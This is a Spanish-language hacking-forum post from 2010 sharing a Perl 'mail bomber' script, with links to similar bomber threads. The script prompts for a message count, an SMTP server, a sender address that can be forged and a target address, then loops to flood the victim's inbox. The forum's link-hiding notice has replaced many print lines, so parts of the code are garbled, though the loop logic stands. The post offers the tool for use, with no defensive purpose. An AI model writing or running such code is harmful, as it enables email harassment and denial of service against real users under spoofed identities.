comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mail Bomber

  • 0 Respuestas
  • 1427 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:31:09 pm »
Codigo de un mail bomber programado en PERL

Código: Perl
  1. #!/usr/bin/perl
  2. No tienes permisos para ver links. Registrate o Entra con tu cuenta "        |---------------------------------------------|\n";
  3. No tienes permisos para ver links. Registrate o Entra con tu cuenta "        |            Mail bomber by Erik              |\n";
  4. No tienes permisos para ver links. Registrate o Entra con tu cuenta "        |          Created for Code-Maker.es          |\n";
  5. No tienes permisos para ver links. Registrate o Entra con tu cuenta "        |          youareowned@.hotmail.es            |\n";
  6. No tienes permisos para ver links. Registrate o Entra con tu cuenta "        |---------------------------------------------|\n";
  7. use Net::SMTP;
  8. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Buenas, cuantos mails bombs deseas hacer:";
  9. $n = <STDIN>;
  10. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el mailhost al que desea solicitar la conexion:";
  11. $mailhost = <STDIN>;
  12. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el email que desea utilizar:";
  13. $emailfrom = <STDIN>;
  14. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el email que desea bombear:";
  15. $emailto = <STDIN>;
  16. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el asunto del correo:";
  17. $asunto = <STDIN>;
  18. No tienes permisos para ver links. Registrate o Entra con tu cuenta "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
  19. $sms = <STDIN>;
  20. for ($a=1;$a<=$n;$a++) {
  21. $smtp = Net::SMTP->new("$mailhost",
  22. Hello => "$mailhost",
  23. Timeout =>25,
  24. Debug   =>1,
  25. );
  26. No tienes permisos para ver links. Registrate o Entra con tu cuenta "No se ha podido conectar al servidor";
  27. No tienes permisos para ver links. Registrate o Entra con tu cuenta $smtp->domain,"\n";
  28. $smtp->mail("$emailfrom");
  29. $smtp->to("$emailto");
  30. $smtp->data();
  31. $smtp->datasend("To: $emailto");
  32. $smtp->datasend("From: $emailfrom");
  33. $smtp->datasend("Subject:$asunto\n");
  34. $smtp->datasend("$sms");
  35. $smtp->dataend();
  36. $smtp->quit();

 8)
« Última modificación: Marzo 14, 2015, 09:42:09 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Anonymous Mail

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1168
Último mensaje Febrero 24, 2010, 04:31:47 pm
por ProcessKill
[Perl Tk] DH Bomber 0.2

Iniciado por BigBear

Respuestas: 0
Vistas: 1403
Último mensaje Septiembre 27, 2013, 12:45:30 pm
por BigBear